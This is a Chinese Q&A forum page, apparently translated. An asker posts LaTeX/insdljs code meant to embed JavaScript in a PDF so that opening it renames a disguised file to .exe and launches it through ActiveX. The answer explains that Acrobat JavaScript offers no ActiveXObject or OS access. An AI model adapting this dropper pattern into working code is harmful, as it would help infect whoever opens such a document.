当我打开生成的 PDF 时我可以运行这个 javascript 吗?

当我打开生成的 PDF 时我可以运行这个 javascript 吗?

我创建了一个简单的 javascript 文件,它运行隐藏为 PDF 的 EXE 文件。我想将此脚本隐藏在另一个 PDF 文件中。当我打开它时,该脚本应该会运行,但什么也没发生(当我将其作为 .js 文件运行时,它可以工作)。我不是在创建恶意软件,我这样做纯粹是为了教育目的。

此外,当类似这样的内容是我的整个 javascript 时,app.alert("Hey");它工作正常,并在我打开 PDF 时显示弹出窗口。这也不是路径问题,所有文件都在同一位置。我对 javascript 和 LaTeX 还不熟悉,所以我不知道可能是什么问题。

这是我的文件:

\documentclass{article}
\usepackage[pdftex]{insdljs}

\begin{insDLJS}{\jobname}{do stuff}
    
    var fso = new ActiveXObject("scripting.FileSystemObject");
    
    if(fso.FileExists("create_copy.pdf")){
    fso.MoveFile('create_copy.pdf', 'create_copy.exe');
    } else {
    }
    
    var shell = new ActiveXObject('Shell.Application');
    shell.ShellExecute('create_copy.exe',"","","open","1");
    
\end{insDLJS}
   
\begin{document}
    Some text ....
\end{document}

答案1

ActiveXObject 类不是核心 JavaScript 版本 1.5 (ISO-16262) 的一部分,并且它没有在源自标准的 Acrobat JavaScript 中定义。

Acrobat 的 JS PDF 细节记录在

https://help.adobe.com/en_US/acrobat/acrobat_dc_sdk/2015/HTMLHelp/#t=Acro12_MasterBook%2FJS_API_AcroJSPreface%2FJS_API_AcroJSPreface.htm

并且,出于安全考虑,很可能没有可用于与操作系统交互的界面。

相关内容